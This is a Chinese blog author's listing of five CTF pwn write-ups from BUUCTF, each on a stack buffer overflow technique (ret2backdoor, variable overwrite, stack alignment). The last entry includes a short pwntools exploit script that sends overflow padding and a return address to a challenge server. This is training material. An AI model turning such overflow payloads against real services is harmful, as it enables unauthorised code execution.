雾島风起時 的文章

Read 栈溢出

0 条评论 pwn Pwn 雾島风起時

Read 栈溢出 话不多说,直接上题(BUUCTF) 放入 64 位 IDA 中反编译 注意看 read 函数的第三个参数,它决定我们输入的长度,而这个地址是由 scan 决定的 也就是说长度是我们可控制的 看内存可以看到离 ret 差 24 个字节 dq 占 8 个字节 找到后门函数 如果看不到地址往前拉一下,Star 就是起始地址 构造 payload ...

Gets 栈溢出(32 位程序返回)

0 条评论 pwn Pwn 雾島风起時

Gets 栈溢出(32 位程序返回) 话不多说,直接上题(BUUCTF) 扔进 IDA32 中反编译,直接给出了 Gets 在左边看到有一个 get_flag 函数,进去看看 可以看到 if 条件成立后就能读取 flag 了 回头去看 v4 缓存区的栈情况 首先填充 56 个字节垃圾数据 argc 就是 a1,argv 就是 a2 注意的一点是获取 flag...

Gets 栈溢出(变量覆盖)

0 条评论 pwn Pwn 雾島风起時

Gets 栈溢出(变量覆盖) 话不多说,直接上题(BUUCTF) IDA64 反编译 追踪看到 gets v1 的下面就是 v2,通过溢出改为 v2 的值使条件成立 注意:浮点数要转十六进制 from pwn import p = remote(node5.buuoj.cn, 29455) payload = b a 44 + p64(0x4134...

Gets 栈溢出(堆栈平衡)

0 条评论 pwn Pwn 雾島风起時

Gets 栈溢出(堆栈平衡) 话不多说,直接上题(BUUCTF) IDA64 反编译 去找后门函数 记录地址 缓冲区 s 存在明显栈溢出 15 + 8 覆盖掉这段地址到 r 返回地址中 64 位系统还需要保持一个栈平衡,需要找 lea 的地址或者该函数结束即 retn 的地址 当我们在堆栈中进行堆栈的操作的时候,一定要保证在 ret 这条指令之前 esp 指...

Gets 栈溢出

0 条评论 pwn Pwn 雾島风起時

Gets 栈溢出

话不多说,直接上题(BUUCTF)

IDA64 反编译

给出了后门函数

看内存溢出大小是 72

构造 payload

from pwn import *

p = remote("node5.buuoj.cn", 27079)

payload = b'a' * 72 + p64(0x40060D)

p.sendline(payload)
p.interactive()

拿到 flag